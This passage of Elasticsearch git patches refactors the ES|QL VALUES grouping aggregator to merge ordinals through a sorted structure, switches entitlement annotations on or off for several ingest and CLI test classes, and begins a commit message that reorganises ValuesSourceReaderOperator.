index 061af9fcc9213..39f485f3b174d 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesLongGroupingAggregatorFunction.java
@@ -42,7 +42,7 @@ public ValuesLongGroupingAggregatorFunction(List<Integer> channels,
 
   public static ValuesLongGroupingAggregatorFunction create(List<Integer> channels,
       DriverContext driverContext) {
-    return new ValuesLongGroupingAggregatorFunction(channels, ValuesLongAggregator.initGrouping(driverContext.bigArrays()), driverContext);
+    return new ValuesLongGroupingAggregatorFunction(channels, ValuesLongAggregator.initGrouping(driverContext), driverContext);
   }
 
   public static List<IntermediateStateDesc> intermediateStateDesc() {
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/ValuesBytesRefAggregators.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/ValuesBytesRefAggregators.java
index 78a083b8daac7..4a2fa0923abe4 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/ValuesBytesRefAggregators.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/ValuesBytesRefAggregators.java
@@ -55,7 +55,7 @@ public void add(int positionOffset, IntArrayBlock groupIds) {
                         int valuesStart = ordinalIds.getFirstValueIndex(groupPosition + positionOffset);
                         int valuesEnd = valuesStart + ordinalIds.getValueCount(groupPosition + positionOffset);
                         for (int v = valuesStart; v < valuesEnd; v++) {
-                            state.values.add(groupId, hashIds.getInt(ordinalIds.getInt(v)));
+                            state.addValueOrdinal(groupId, hashIds.getInt(ordinalIds.getInt(v)));
                         }
                     }
                 }
@@ -77,7 +77,7 @@ public void add(int positionOffset, IntBigArrayBlock groupIds) {
                         int valuesStart = ordinalIds.getFirstValueIndex(groupPosition + positionOffset);
                         int valuesEnd = valuesStart + ordinalIds.getValueCount(groupPosition + positionOffset);
                         for (int v = valuesStart; v < valuesEnd; v++) {
-                            state.values.add(groupId, hashIds.getInt(ordinalIds.getInt(v)));
+                            state.addValueOrdinal(groupId, hashIds.getInt(ordinalIds.getInt(v)));
                         }
                     }
                 }
@@ -93,7 +93,7 @@ public void add(int positionOffset, IntVector groupIds) {
                     int valuesStart = ordinalIds.getFirstValueIndex(groupPosition + positionOffset);
                     int valuesEnd = valuesStart + ordinalIds.getValueCount(groupPosition + positionOffset);
                     for (int v = valuesStart; v < valuesEnd; v++) {
-                        state.values.add(groupId, hashIds.getInt(ordinalIds.getInt(v)));
+                        state.addValueOrdinal(groupId, hashIds.getInt(ordinalIds.getInt(v)));
                     }
                 }
             }
@@ -135,7 +135,7 @@ public void add(int positionOffset, IntArrayBlock groupIds) {
                     int groupEnd = groupStart + groupIds.getValueCount(groupPosition);
                     for (int g = groupStart; g < groupEnd; g++) {
                         int groupId = groupIds.getInt(g);
-                        state.values.add(groupId, hashIds.getInt(ordinalIds.getInt(groupPosition + positionOffset)));
+                        state.addValueOrdinal(groupId, hashIds.getInt(ordinalIds.getInt(groupPosition + positionOffset)));
                     }
                 }
             }
@@ -150,7 +150,7 @@ public void add(int positionOffset, IntBigArrayBlock groupIds) {
                     int groupEnd = groupStart + groupIds.getValueCount(groupPosition);
                     for (int g = groupStart; g < groupEnd; g++) {
                         int groupId = groupIds.getInt(g);
-                        state.values.add(groupId, hashIds.getInt(ordinalIds.getInt(groupPosition + positionOffset)));
+                        state.addValueOrdinal(groupId, hashIds.getInt(ordinalIds.getInt(groupPosition + positionOffset)));
                     }
                 }
             }
@@ -159,7 +159,7 @@ public void add(int positionOffset, IntBigArrayBlock groupIds) {
             public void add(int positionOffset, IntVector groupIds) {
                 for (int groupPosition = 0; groupPosition < groupIds.getPositionCount(); groupPosition++) {
                     int groupId = groupIds.getInt(groupPosition);
-                    state.values.add(groupId, hashIds.getInt(ordinalIds.getInt(groupPosition + positionOffset)));
+                    state.addValueOrdinal(groupId, hashIds.getInt(ordinalIds.getInt(groupPosition + positionOffset)));
                 }
             }
 
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/X-ValuesAggregator.java.st b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/X-ValuesAggregator.java.st
index 67f32fc4a4d4e..6a6adca143e94 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/X-ValuesAggregator.java.st
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/X-ValuesAggregator.java.st
@@ -43,12 +43,9 @@ $if(BytesRef)$
 import org.elasticsearch.compute.data.OrdinalBytesRefBlock;
 $endif$
 import org.elasticsearch.compute.operator.DriverContext;
-$if(BytesRef)$
+import org.elasticsearch.core.Releasable;
 import org.elasticsearch.core.Releasables;
 
-$else$
-
-$endif$
 /**
  * Aggregates field values for $type$.
  * This class is generated. Edit @{code X-ValuesAggregator.java.st} instead
@@ -90,8 +87,8 @@ $endif$
         return state.toBlock(driverContext.blockFactory());
     }
 
-    public static GroupingState initGrouping(BigArrays bigArrays) {
-        return new GroupingState(bigArrays);
+    public static GroupingState initGrouping(DriverContext driverContext) {
+        return new GroupingState(driverContext);
     }
 
 $if(BytesRef)$
@@ -113,25 +110,7 @@ $if(BytesRef)$
 $endif$
 
     public static void combine(GroupingState state, int groupId, $type$ v) {
-$if(long)$
-        state.values.add(groupId, v);
-$elseif(double)$
-        state.values.add(groupId, Double.doubleToLongBits(v));
-$elseif(BytesRef)$
-        state.values.add(groupId, BlockHash.hashOrdToGroup(state.bytes.add(v)));
-$elseif(int)$
-        /*
-         * Encode the groupId and value into a single long -
-         * the top 32 bits for the group, the bottom 32 for the value.
-         */
-        state.values.add((((long) groupId) << Integer.SIZE) | (v & 0xFFFFFFFFL));
-$elseif(float)$
-        /*
-         * Encode the groupId and value into a single long -
-         * the top 32 bits for the group, the bottom 32 for the value.
-         */
-        state.values.add((((long) groupId) << Float.SIZE) | (Float.floatToIntBits(v) & 0xFFFFFFFFL));
-$endif$
+        state.addValue(groupId, v);
     }
 
     public static void combineIntermediate(GroupingState state, int groupId, $Type$Block values, int valuesPosition) {
@@ -142,37 +121,27 @@ $endif$
         int end = start + values.getValueCount(valuesPosition);
         for (int i = start; i < end; i++) {
 $if(BytesRef)$
-            combine(state, groupId, values.getBytesRef(i, scratch));
+            state.addValue(groupId, values.getBytesRef(i, scratch));
 $else$
-            combine(state, groupId, values.get$Type$(i));
+            state.addValue(groupId, values.get$Type$(i));
 $endif$
         }
     }
 
     public static void combineStates(GroupingState current, int currentGroupId, GroupingState state, int statePosition) {
+        var sorted = state.sortedForOrdinalMerging(current);
+        if (statePosition > state.maxGroupId) {
+            return;
+        }
+        var start = statePosition > 0 ? sorted.counts[statePosition - 1] : 0;
+        var end = sorted.counts[statePosition];
+        for (int i = start; i < end; i++) {
+            int id = sorted.ids[i];
 $if(BytesRef)$
-        BytesRef scratch = new BytesRef();
-$endif$
-        for (int id = 0; id < state.values.size(); id++) {
-$if(long||BytesRef)$
-            if (state.values.getKey1(id) == statePosition) {
-                long value = state.values.getKey2(id);
-$elseif(double)$
-            if (state.values.getKey1(id) == statePosition) {
-                double value = Double.longBitsToDouble(state.values.getKey2(id));
-$elseif(int)$
-            long both = state.values.get(id);
-            int group = (int) (both >>> Integer.SIZE);
-            if (group == statePosition) {
-                int value = (int) both;
-$elseif(float)$
-            long both = state.values.get(id);
-            int group = (int) (both >>> Float.SIZE);
-            if (group == statePosition) {
-                float value = Float.intBitsToFloat((int) both);
+            current.addValueOrdinal(currentGroupId, id);
+$else$
+            current.addValue(currentGroupId, state.getValue(id));
 $endif$
-                combine(current, currentGroupId, $if(BytesRef)$state.bytes.get(value, scratch)$else$value$endif$);
-            }
         }
     }
 
@@ -247,6 +216,24 @@ $endif$
         }
     }
 
+    /**
+     * Values are collected in a hash. Iterating over them in order (row by row) to build the output,
+     * or merging with other state, can be expensive. To optimize this, we build a sorted structure once,
+     * and then use it to iterate over the values in order.
+     *
+     * @param ids positions of the {@link GroupingState#values} to read.
+$if(BytesRef)$
+     *            If built from {@link GroupingState#sortedForOrdinalMerging(GroupingState)},
+     *            these are ordinals referring to the {@link GroupingState#bytes} in the target state.
+$endif$
+     */
+    private record Sorted(Releasable releasable, int[] counts, int[] ids) implements Releasable {
+        @Override
+        public void close() {
+            releasable.close();
+        }
+    }
+
     /**
      * State for a grouped {@code VALUES} aggregation. This implementation
      * emphasizes collect-time performance over the performance of rendering
@@ -255,26 +242,31 @@ $endif$
      * collector operation. But at least it's fairly simple.
      */
     public static class GroupingState implements GroupingAggregatorState {
+        private int maxGroupId = -1;
+        private final BlockFactory blockFactory;
 $if(long||double)$
         private final LongLongHash values;
 
 $elseif(BytesRef)$
-        final LongLongHash values;
+        private final LongLongHash values;
         BytesRefHash bytes;
 
 $elseif(int||float)$
         private final LongHash values;
 
 $endif$
-        private GroupingState(BigArrays bigArrays) {
+        private Sorted sortedForOrdinalMerging = null;
+
+        private GroupingState(DriverContext driverContext) {
+            this.blockFactory = driverContext.blockFactory();
 $if(long||double)$
-            values = new LongLongHash(1, bigArrays);
+            values = new LongLongHash(1, driverContext.bigArrays());
 $elseif(BytesRef)$
             LongLongHash _values = null;
             BytesRefHash _bytes = null;
             try {
-                _values = new LongLongHash(1, bigArrays);
-                _bytes = new BytesRefHash(1, bigArrays);
+                _values = new LongLongHash(1, driverContext.bigArrays());
+                _bytes = new BytesRefHash(1, driverContext.bigArrays());
 
                 values = _values;
                 bytes = _bytes;
@@ -285,7 +277,7 @@ $elseif(BytesRef)$
                 Releasables.closeExpectNoException(_values, _bytes);
             }
 $elseif(int||float)$
-            values = new LongHash(1, bigArrays);
+            values = new LongHash(1, driverContext.bigArrays());
 $endif$
         }
 
@@ -294,6 +286,36 @@ $endif$
             blocks[offset] = toBlock(driverContext.blockFactory(), selected);
         }
 
+$if(BytesRef)$
+        void addValueOrdinal(int groupId, long valueOrdinal) {
+            values.add(groupId, valueOrdinal);
+            maxGroupId = Math.max(maxGroupId, groupId);
+        }
+
+$endif$
+        void addValue(int groupId, $type$ v) {
+$if(long)$
+            values.add(groupId, v);
+$elseif(double)$
+            values.add(groupId, Double.doubleToLongBits(v));
+$elseif(BytesRef)$
+            values.add(groupId, BlockHash.hashOrdToGroup(bytes.add(v)));
+$elseif(int)$
+            /*
+             * Encode the groupId and value into a single long -
+             * the top 32 bits for the group, the bottom 32 for the value.
+             */
+            values.add((((long) groupId) << Integer.SIZE) | (v & 0xFFFFFFFFL));
+$elseif(float)$
+            /*
+             * Encode the groupId and value into a single long -
+             * the top 32 bits for the group, the bottom 32 for the value.
+             */
+            values.add((((long) groupId) << Float.SIZE) | (Float.floatToIntBits(v) & 0xFFFFFFFFL));
+$endif$
+            maxGroupId = Math.max(maxGroupId, groupId);
+        }
+
         /**
          * Builds a {@link Block} with the unique values collected for the {@code #selected}
          * groups. This is the implementation of the final and intermediate results of the agg.
@@ -303,8 +325,23 @@ $endif$
                 return blockFactory.newConstantNullBlock(selected.getPositionCount());
             }
 
+            try (var sorted = buildSorted(selected)) {
+$if(BytesRef)$
+                if (OrdinalBytesRefBlock.isDense(selected.getPositionCount(), Math.toIntExact(values.size()))) {
+                    return buildOrdinalOutputBlock(blockFactory, selected, sorted.counts, sorted.ids);
+                } else {
+                    return buildOutputBlock(blockFactory, selected, sorted.counts, sorted.ids);
+                }
+$else$
+                return buildOutputBlock(blockFactory, selected, sorted.counts, sorted.ids);
+$endif$
+            }
+        }
+
+        private Sorted buildSorted(IntVector selected) {
             long selectedCountsSize = 0;
             long idsSize = 0;
+            Sorted sorted = null;
             try {
                 /*
                  * Get a count of all groups less than the maximum selected group. Count
@@ -379,28 +416,54 @@ $endif$
                 idsSize = adjust;
                 int[] ids = new int[total];
                 for (int id = 0; id < values.size(); id++) {
-$if(long||BytesRef||double)$
+        $if(long||BytesRef||double)$
                     int group = (int) values.getKey1(id);
-$elseif(float||int)$
+        $elseif(float||int)$
                     long both = values.get(id);
                     int group = (int) (both >>> Float.SIZE);
-$endif$
+        $endif$
                     if (group < selectedCounts.length && selectedCounts[group] >= 0) {
                         ids[selectedCounts[group]++] = id;
                     }
                 }
-$if(BytesRef)$
-                if (OrdinalBytesRefBlock.isDense(selected.getPositionCount(), Math.toIntExact(values.size()))) {
-                    return buildOrdinalOutputBlock(blockFactory, selected, selectedCounts, ids);
-                } else {
-                    return buildOutputBlock(blockFactory, selected, selectedCounts, ids);
+                final long totalMemoryUsed = selectedCountsSize + idsSize;
+                sorted = new Sorted(() -> blockFactory.adjustBreaker(-totalMemoryUsed), selectedCounts, ids);
+                return sorted;
+            } finally {
+                if (sorted == null) {
+                    blockFactory.adjustBreaker(-selectedCountsSize - idsSize);
                 }
-$else$
-                return buildOutputBlock(blockFactory, selected, selectedCounts, ids);
+            }
+        }
+
+        private Sorted sortedForOrdinalMerging(GroupingState other) {
+            if (sortedForOrdinalMerging == null) {
+                try (var selected = IntVector.range(0, maxGroupId + 1, blockFactory)) {
+                    sortedForOrdinalMerging = buildSorted(selected);
+$if(BytesRef)$
+                    // hash all the bytes to the destination to avoid hashing them multiple times
+                    BytesRef scratch = new BytesRef();
+                    final int totalValue = Math.toIntExact(bytes.size());
+                    blockFactory.adjustBreaker((long) totalValue * Integer.BYTES);
+                    try {
+                        final int[] mappedIds = new int[totalValue];
+                        for (int i = 0; i < totalValue; i++) {
+                            var v = bytes.get(i, scratch);
+                            mappedIds[i] = Math.toIntExact(BlockHash.hashOrdToGroup(other.bytes.add(v)));
+                        }
+                        // no longer need the bytes
+                        bytes.close();
+                        bytes = null;
+                        for (int i = 0; i < sortedForOrdinalMerging.ids.length; i++) {
+                            sortedForOrdinalMerging.ids[i] = mappedIds[Math.toIntExact(values.getKey2(sortedForOrdinalMerging.ids[i]))];
+                        }
+                    } finally {
+                        blockFactory.adjustBreaker(-(long) totalValue * Integer.BYTES);
+                    }
 $endif$
-            } finally {
-                blockFactory.adjustBreaker(-selectedCountsSize - idsSize);
+                }
             }
+            return sortedForOrdinalMerging;
         }
 
         Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] selectedCounts, int[] ids) {
@@ -418,11 +481,11 @@ $endif$
                     int count = end - start;
                     switch (count) {
                         case 0 -> builder.appendNull();
-                        case 1 -> append(builder, ids[start]$if(BytesRef)$, scratch$endif$);
+                        case 1 -> builder.append$Type$(getValue(ids[start]$if(BytesRef)$, scratch$endif$));
                         default -> {
                             builder.beginPositionEntry();
                             for (int i = start; i < end; i++) {
-                                append(builder, ids[i]$if(BytesRef)$, scratch$endif$);
+                                builder.append$Type$(getValue(ids[i]$if(BytesRef)$, scratch$endif$));
                             }
                             builder.endPositionEntry();
                         }
@@ -470,29 +533,24 @@ $if(BytesRef)$
                 }
             }
         }
+$endif$
 
-        private void append($Type$Block.Builder builder, int id, BytesRef scratch) {
-            BytesRef value = bytes.get(values.getKey2(id), scratch);
-            builder.appendBytesRef(value);
-        }
-
-$else$
-        private void append($Type$Block.Builder builder, int id) {
-$if(long)$
-            long value = values.getKey2(id);
+        $type$ getValue(int valueId$if(BytesRef)$, BytesRef scratch$endif$) {
+$if(BytesRef)$
+            return bytes.get(values.getKey2(valueId), scratch);
+$elseif(long)$
+            return values.getKey2(valueId);
 $elseif(double)$
-            double value = Double.longBitsToDouble(values.getKey2(id));
+            return Double.longBitsToDouble(values.getKey2(valueId));
 $elseif(float)$
-            long both = values.get(id);
-            float value = Float.intBitsToFloat((int) both);
+            long both = values.get(valueId);
+            return Float.intBitsToFloat((int) both);
 $elseif(int)$
-            long both = values.get(id);
-            int value = (int) both;
+            long both = values.get(valueId);
+            return (int) both;
 $endif$
-            builder.append$Type$(value);
         }
 
-$endif$
         @Override
         public void enableGroupIdTracking(SeenGroupIds seen) {
             // we figure out seen values from nulls on the values block
@@ -501,9 +559,9 @@ $endif$
         @Override
         public void close() {
 $if(BytesRef)$
-            Releasables.closeExpectNoException(values, bytes);
+            Releasables.closeExpectNoException(values, bytes, sortedForOrdinalMerging);
 $else$
-            values.close();
+            Releasables.closeExpectNoException(values, sortedForOrdinalMerging);
 $endif$
         }
     }
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/HashAggregationOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/HashAggregationOperator.java
index 9c4b9dd360062..cbce712ed9cdb 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/HashAggregationOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/HashAggregationOperator.java
@@ -85,7 +85,7 @@ public String describe() {
 
     private final BlockHash blockHash;
 
-    private final List<GroupingAggregator> aggregators;
+    protected final List<GroupingAggregator> aggregators;
 
     protected final DriverContext driverContext;
 

From 4a91f85826301791cd5ceab0839200017a3aaf96 Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Tue, 8 Jul 2025 11:01:47 +0200
Subject: [PATCH 090/299] Re-enable entitlements for various ingest tests
 (#130708) (#130721)

---
 .../ingest/attachment/AttachmentProcessorTests.java             | 2 --
 .../java/org/elasticsearch/ingest/attachment/TikaDocTests.java  | 2 --
 .../java/org/elasticsearch/ingest/attachment/TikaImplTests.java | 2 --
 .../ingest/common/RegisteredDomainProcessorFactoryTests.java    | 2 --
 .../ingest/common/RegisteredDomainProcessorTests.java           | 2 --
 5 files changed, 10 deletions(-)

diff --git a/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/AttachmentProcessorTests.java b/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/AttachmentProcessorTests.java
index f0f4e870cb211..4916f578903ce 100644
--- a/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/AttachmentProcessorTests.java
+++ b/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/AttachmentProcessorTests.java
@@ -15,7 +15,6 @@
 import org.elasticsearch.ingest.Processor;
 import org.elasticsearch.ingest.RandomDocumentPicks;
 import org.elasticsearch.test.ESTestCase;
-import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 import org.junit.Before;
 
 import java.io.InputStream;
@@ -39,7 +38,6 @@
 import static org.hamcrest.Matchers.notNullValue;
 import static org.hamcrest.Matchers.nullValue;
 
-@WithoutEntitlements // ES-12084
 public class AttachmentProcessorTests extends ESTestCase {
 
     private Processor processor;
diff --git a/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaDocTests.java b/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaDocTests.java
index 5545a5e1a8899..c17570f3df0da 100644
--- a/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaDocTests.java
+++ b/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaDocTests.java
@@ -14,7 +14,6 @@
 import org.apache.tika.metadata.Metadata;
 import org.elasticsearch.core.PathUtils;
 import org.elasticsearch.test.ESTestCase;
-import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 
 import java.nio.file.DirectoryStream;
 import java.nio.file.Files;
@@ -26,7 +25,6 @@
  * comes back and no exception.
  */
 @SuppressFileSystems("ExtrasFS") // don't try to parse extraN
-@WithoutEntitlements // ES-12084
 public class TikaDocTests extends ESTestCase {
 
     /** some test files from tika test suite, zipped up */
diff --git a/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaImplTests.java b/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaImplTests.java
index 094dd47dcb2e1..baf51484245d4 100644
--- a/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaImplTests.java
+++ b/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaImplTests.java
@@ -9,9 +9,7 @@
 package org.elasticsearch.ingest.attachment;
 
 import org.elasticsearch.test.ESTestCase;
-import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 
-@WithoutEntitlements // ES-12084
 public class TikaImplTests extends ESTestCase {
 
     public void testTikaLoads() throws Exception {
diff --git a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorFactoryTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorFactoryTests.java
index f2624400d4812..1dc7e87004caf 100644
--- a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorFactoryTests.java
+++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorFactoryTests.java
@@ -11,7 +11,6 @@
 
 import org.elasticsearch.ElasticsearchParseException;
 import org.elasticsearch.test.ESTestCase;
-import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 import org.junit.Before;
 
 import java.util.HashMap;
@@ -19,7 +18,6 @@
 
 import static org.hamcrest.Matchers.equalTo;
 
-@WithoutEntitlements // ES-12084
 public class RegisteredDomainProcessorFactoryTests extends ESTestCase {
 
     private RegisteredDomainProcessor.Factory factory;
diff --git a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorTests.java
index 68255ec0ca5e4..b9fe870af2385 100644
--- a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorTests.java
+++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorTests.java
@@ -13,7 +13,6 @@
 import org.elasticsearch.ingest.TestIngestDocument;
 import org.elasticsearch.ingest.common.RegisteredDomainProcessor.DomainInfo;
 import org.elasticsearch.test.ESTestCase;
-import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 
 import java.util.Collections;
 import java.util.Map;
@@ -31,7 +30,6 @@
  * Effective TLDs (eTLDs) are not the same as DNS TLDs. Uses for eTLDs are listed here:
  *   https://publicsuffix.org/learn/
  */
-@WithoutEntitlements // ES-12084
 public class RegisteredDomainProcessorTests extends ESTestCase {
 
     public void testGetRegisteredDomain() {

From 26774244e6306b438c8f941202a0b66e90adb54e Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Tue, 8 Jul 2025 11:49:08 +0200
Subject: [PATCH 091/299] Disable entitlements for terminal & command tests
 (#130690) (#130798)

---
 server/src/test/java/org/elasticsearch/cli/TerminalTests.java   | 2 ++
 .../cluster/coordination/ElasticsearchNodeCommandTests.java     | 2 ++
 .../java/org/elasticsearch/env/NodeRepurposeCommandTests.java   | 2 ++
 .../org/elasticsearch/env/OverrideNodeVersionCommandTests.java  | 2 ++
 .../index/shard/RemoveCorruptedShardDataCommandTests.java       | 2 ++
 5 files changed, 10 insertions(+)

diff --git a/server/src/test/java/org/elasticsearch/cli/TerminalTests.java b/server/src/test/java/org/elasticsearch/cli/TerminalTests.java
index 812e2375bf172..d9542111afdca 100644
--- a/server/src/test/java/org/elasticsearch/cli/TerminalTests.java
+++ b/server/src/test/java/org/elasticsearch/cli/TerminalTests.java
@@ -10,12 +10,14 @@
 package org.elasticsearch.cli;
 
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 
 import java.io.StringReader;
 
 import static org.elasticsearch.cli.Terminal.readLineToCharArray;
 import static org.hamcrest.Matchers.equalTo;
 
+@WithoutEntitlements // test & cli only - never running with entitlements enabled
 public class TerminalTests extends ESTestCase {
 
     public void testVerbosity() throws Exception {
diff --git a/server/src/test/java/org/elasticsearch/cluster/coordination/ElasticsearchNodeCommandTests.java b/server/src/test/java/org/elasticsearch/cluster/coordination/ElasticsearchNodeCommandTests.java
index c2cf7adacf01d..1680d436ba647 100644
--- a/server/src/test/java/org/elasticsearch/cluster/coordination/ElasticsearchNodeCommandTests.java
+++ b/server/src/test/java/org/elasticsearch/cluster/coordination/ElasticsearchNodeCommandTests.java
@@ -28,6 +28,7 @@
 import org.elasticsearch.index.Index;
 import org.elasticsearch.indices.IndicesModule;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 import org.elasticsearch.test.TestClusterCustomMetadata;
 import org.elasticsearch.test.TestProjectCustomMetadata;
 import org.elasticsearch.xcontent.NamedXContentRegistry;
@@ -46,6 +47,7 @@
 import static org.hamcrest.Matchers.instanceOf;
 import static org.hamcrest.Matchers.not;
 
+@WithoutEntitlements // commands don't run with entitlements enforced
 public class ElasticsearchNodeCommandTests extends ESTestCase {
 
     public void testLoadStateWithoutMissingCustomsButPreserved() throws IOException {
diff --git a/server/src/test/java/org/elasticsearch/env/NodeRepurposeCommandTests.java b/server/src/test/java/org/elasticsearch/env/NodeRepurposeCommandTests.java
index 276c01d041bf8..f5bdf66a96ab7 100644
--- a/server/src/test/java/org/elasticsearch/env/NodeRepurposeCommandTests.java
+++ b/server/src/test/java/org/elasticsearch/env/NodeRepurposeCommandTests.java
@@ -27,6 +27,7 @@
 import org.elasticsearch.index.Index;
 import org.elasticsearch.index.IndexVersion;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 import org.hamcrest.Matcher;
 import org.junit.Before;
 
@@ -48,6 +49,7 @@
 import static org.hamcrest.Matchers.containsString;
 import static org.hamcrest.Matchers.not;
 
+@WithoutEntitlements // commands don't run with entitlements enforced
 public class NodeRepurposeCommandTests extends ESTestCase {
 
     private static final Index INDEX = new Index("testIndex", "testUUID");
diff --git a/server/src/test/java/org/elasticsearch/env/OverrideNodeVersionCommandTests.java b/server/src/test/java/org/elasticsearch/env/OverrideNodeVersionCommandTests.java
index 515561db28232..0308f082e8359 100644
--- a/server/src/test/java/org/elasticsearch/env/OverrideNodeVersionCommandTests.java
+++ b/server/src/test/java/org/elasticsearch/env/OverrideNodeVersionCommandTests.java
@@ -21,6 +21,7 @@
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.gateway.PersistedClusterStateService;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 import org.junit.After;
 import org.junit.Before;
 
@@ -31,6 +32,7 @@
 import static org.hamcrest.Matchers.containsString;
 import static org.hamcrest.Matchers.equalTo;
 
+@WithoutEntitlements // commands don't run with entitlements enforced
 public class OverrideNodeVersionCommandTests extends ESTestCase {
 
     private Environment environment;
diff --git a/server/src/test/java/org/elasticsearch/index/shard/RemoveCorruptedShardDataCommandTests.java b/server/src/test/java/org/elasticsearch/index/shard/RemoveCorruptedShardDataCommandTests.java
index 58743213566bf..f87a6c46f82f6 100644
--- a/server/src/test/java/org/elasticsearch/index/shard/RemoveCorruptedShardDataCommandTests.java
+++ b/server/src/test/java/org/elasticsearch/index/shard/RemoveCorruptedShardDataCommandTests.java
@@ -54,6 +54,7 @@
 import org.elasticsearch.test.CorruptionUtils;
 import org.elasticsearch.test.DummyShardLock;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 import org.junit.Before;
 
 import java.io.IOException;
@@ -77,6 +78,7 @@
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.startsWith;
 
+@WithoutEntitlements // commands don't run with entitlements enforced
 public class RemoveCorruptedShardDataCommandTests extends IndexShardTestCase {
 
     private ShardId shardId;

From 2f0844c2fd9021322000174bec7b9f645b69f570 Mon Sep 17 00:00:00 2001
From: Nik Everett <nik9000@gmail.com>
Date: Tue, 8 Jul 2025 09:01:21 -0400
Subject: [PATCH 092/299] ESQL: Refactor value reading so it can split Pages
 (#130573) (#130781)

This refactors our `ValuesSourceReaderOperator` so it can split pages
when it reads large values. It does not *actually* split the pages as
that's a bit tricky. But it sets the stage for the next PR that will
do so.

* Move `ValuesSourceReaderOperator` to it's own package
* Move many inner classes into their own top level classes
* Extend from `AbstractPageMappingToIteratorOperator` instead of
  `AbstractPageMappingToOperator`
  * This allows returning more than one `Page` per input `Page`
  * In this PR we still always return one `Page` per input `Page`
  * Make new `ReleasableIterator` subclasses to satisfy
    `AbstractPageMappingToIteratorOperator`
  * Change `status` of loading fields from `pages_processed` to
    `pages_received` and `pages_emitted`
* Fix a bug in `AbstractPageMappingToOperator` which can leak circuit
  breaker allocation if we fail to during `receive`. This isn't possible
  in the existing implementations but is possible
  in `ValuesSourceReaderOperator`.
* Add a test with large text fields. Right now it still comes back in
one page because we don't cut the pages.

Closes #130727

Also includes "Claim backported profile versions (#130187)"
---
 .../operator/ValuesSourceReaderBenchmark.java |   7 +-
 .../org/elasticsearch/TransportVersions.java  |   3 +
 .../compute/src/main/java/module-info.java    |   1 +
 .../lucene/ValuesSourceReaderOperator.java    | 792 ------------------
 .../read/ComputeBlockLoaderFactory.java       |  45 +
 .../read/DelegatingBlockLoaderFactory.java    |  93 ++
 .../TimeSeriesExtractFieldOperator.java       |   5 +-
 .../lucene/read/ValuesFromManyReader.java     | 166 ++++
 .../lucene/read/ValuesFromSingleReader.java   | 194 +++++
 .../compute/lucene/read/ValuesReader.java     |  58 ++
 .../read/ValuesSourceReaderOperator.java      | 306 +++++++
 .../ValuesSourceReaderOperatorStatus.java     | 156 ++++
 .../operator/AbstractPageMappingOperator.java |   2 +-
 ...AbstractPageMappingToIteratorOperator.java |  62 +-
 .../compute/operator/ColumnLoadOperator.java  |   2 +-
 .../operator/DriverCompletionInfo.java        |   8 +-
 .../operator/OrdinalsGroupingOperator.java    |   2 +-
 .../elasticsearch/compute/OperatorTests.java  |   2 +-
 .../lucene/LuceneQueryEvaluatorTests.java     |   1 +
 .../lucene/LuceneSourceOperatorTests.java     |   1 +
